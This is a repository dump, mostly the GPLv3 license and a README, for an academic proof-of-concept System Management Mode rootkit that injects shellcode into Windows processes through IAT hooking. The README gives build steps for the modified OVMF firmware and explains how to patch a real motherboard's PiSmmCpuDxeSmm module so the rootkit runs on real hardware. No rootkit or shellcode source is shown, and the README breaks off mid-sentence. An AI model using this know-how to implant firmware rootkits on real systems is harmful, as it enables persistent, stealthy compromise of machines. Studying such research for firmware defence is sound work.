[
  {
    "path": ".gitignore",
    "content": "edk2/*"
  },
  {
    "path": "Dockerfile",
    "content": "FROM ubuntu:16.04\nMAINTAINER Jussi Hietanen\n\nRUN \\\n\tapt-get update && \\\n\tapt-get -y install ccache build-essential python python-pip qemu sudo nano libgcc-5-dev uuid-dev nasm iasl git wget zip xorg-dev p7zip-full\n"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<https://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
  },
  {
    "path": "README.md",
    "content": "# SMM Rootkit\n\n## Table of contents\n- [Repository Contents](#repository-contents)\n  * [SMM Rootkit](#smm-rootkit-1)\n  * [shellcode](#shellcode)\n  * [target_tests](#target_tests)\n- [Compiling](#compiling)\n  * [First time setup](#first-time-setup)\n  * [Building](#building)\n- [Running the OVMF inside QEMU/KVM](#running-the-ovmf-inside-qemukvm)\n  * [VM setup](#vm-setup)\n  * [Running](#running)\n- [FAQ](#faq)\n  * [How to patch PiSmmCpuDxeSmm](#how-to-patch-pismmcpudxesmm)\n  * [No serial output after boot](#no-serial-output-after-boot)\n\n## Intro\n\nThis System Management Mode (SMM) rootkit is a PoC to demonstrate how injecting shellcode to a ring0/ring3 context can be achieved from the SMM. \n\nIf you want to read about SMM rootkits in general and about how this SMM rootkit was implemented, please read my recent [blog post](https://jussihi.kapsi.fi/2022-09-08-smmrootkit/) about it! Also please check our newest SMM-related project, [Hermes](https://github.com/pRain1337/Hermes), which enables SMM-level privilege escalation with interactive usermode application!\n\nCreated by Jussi Hietanen (Aalto University, Espoo FI) and Diego Caminada (HF-ICT, Muttenz CH).\n\n## Repository Contents\n\n#### SMM Rootkit\nThis folder contains the files & folders to be copied to the edk2 root dir to compile the SMM Rootkit with the rest of the OVMF. It includes ready-made configuration files and modified source files to allow the rootkit to access the whole 64-bit memory address space with on-demand paging.\n\n#### shellcode\nContains shellcode to be generated for the SMM rootkit. This shellcode is then injected from the SMM to whatever process/operating system is targeted. You can read more about different types of attacks from their subfolders. Currently there is only Windows x64 usermode IAT hooking, but more should be added!\n\n#### target_tests\nContains test programs to test the Rootkit functionality. For more information, check the subfolders' readmes.\n\n## Compiling\n\n### First time setup\n\nSkip to \"Building\" if you have done the first-time setup already.\n\n1. Clone the EDK2 inside this repo and checkout the right tag (vUDK2018, see step 3 for why this tag). \n```\n$ git clone git@github.com:tianocore/edk2.git\n$ cd edk2\n$ git checkout vUDK2018\n```\n\n2. Start docker build env and setup BaseTools\n```\n# ./run_docker.sh\n```\nInside docker, \n```\n# cd edk2 \n# make -C BaseTools\n# . edksetup.sh\n```\n\n3. Exit docker, and copy the contents of SMM Rootkit folder to edk2 folder **(It is important to use the tag vUDK2018, otherwise the ready-patched files inside the SMM Rootkit folder won't match and the OVMF may not build successfully)**, in repo root run\n```\n# cp -r SMM\\ Rootkit/* edk2/\n```\n\nFirst time setup is done!\n\n### Building\n\nRun\n```\n# ./run_docker.sh\n```\n\nThen, inside the docker,\n```\n# cd edk2\n# . edksetup.sh\n# build -DSMM_REQUIRE\n```\n\nThe resulting OVMF firmware will be inside `edk2/Build/OvmfX64/RELEASE_GCC5/FV`.\n\n## Running the OVMF inside QEMU/KVM\n\n### VM Setup\n\nNeeded packages:\n```\nqemu libvirt virt-manager ebtables dnsmasq\n```\n\nFor qemu to show the custom OVMF binary, you need to create a file `/usr/share/qemu/firmware/60-ovmf-rootkit-x86_64.json` and inside it add our FV entry:\n```\n{\n  \"description\": \"UEFI SMM rootkit OVMF firmware for x86_64\",\n  \"interface-types\": [\n    \"uefi\"\n  ],\n  \"mapping\": {\n    \"device\": \"flash\",\n    \"executable\": {\n      \"filename\": \"/your/path/to-git/SMM-Rootkit/edk2/Build/OvmfX64/RELEASE_GCC5/FV/OVMF_CODE.fd\",\n      \"format\": \"raw\"\n    },\n    \"nvram-template\": {\n      \"filename\": \"/your/path/to-git/SMM-Rootkit/edk2/Build/OvmfX64/RELEASE_GCC5/FV/OVMF_VARS.fd\",\n      \"format\": \"raw\"\n    }\n  },\n  \"targets\": [\n    {\n      \"architecture\": \"x86_64\",\n      \"machines\": [\n        \"pc-i440fx-*\",\n        \"pc-q35-*\"\n      ]\n    }\n  ],\n  \"features\": [\n    \"acpi-s3\",\n    \"amd-sev\",\n    \"verbose-dynamic\"\n  ],\n  \"tags\": [\n    \n  ]\n}\n```\n\nNow you may create a new virtual machine. During setup, in the last state, check the box \"Customize configuration before install\" before clicking \"Finish\". From the next window, change the Firmware to the *UEFI SMM rootkit OVMF firmware for x86_64* configured earlier.\n\n### Running\n\nTo start the vm, enable service `libvirtd` and enable default network; \n```\n# virsh net-start default\n```\n\nTo check the serial output (the VM must be powered on)\n```\n# virsh list\n/* win10 is the name of the libvirt instance */\n# virsh console win10\n```\n\n## FAQ\n\n### How to patch PiSmmCpuDxeSmm\n\nIf you are trying to run this SMM rootkit on real hardware, you need to patch your motherboard's `PiSmmCpuDxeSmm` module from the UEFI firmware. You can mimick [our patch](https://github.com/jussihi/SMM-Rootkit/tree/master/SMM%20Rootkit/UefiCpuPkg) by \n\nPatching this variable initialization out and hard code the variable itself to 0 with your favorite disassembler (IDA or similar):\nhttps://github.com/tianocore/edk2/blob/master/UefiCpuPkg/PiSmmCpuDxeSmm/X64/PageTbl.c#L352\n\nEasiest way to find that function (SmmInitPageTable) is to search for the strings of the error messages:\nhttps://github.com/tianocore/edk2/blob/master/UefiCpuPkg/Library/CpuExceptionHandlerLib/X64/ArchExceptionHandler.c#L265\n\nWhich is referenced multiple times in the SMI Page fault handler:\nhttps://github.com/tianocore/edk2/blob/master/UefiCpuPkg/PiSmmCpuDxeSmm/X64/PageTbl.c#L1003\n\nAnd the page fault handler is initialized in the same function as the variable initialization (SmmInitPageTable):\nhttps://github.com/tianocore/edk2/blob/master/UefiCpuPkg/PiSmmCpuDxeSmm/X64/PageTbl.c#L442\n\n### No serial output after boot\n\nSometimes the serial traffic is blocked as the operating system's own serial driver. This is at least the case in Windows systems when not booting inside a (QEMU/KVM) virtual machine.\n\n#### There are two ways to 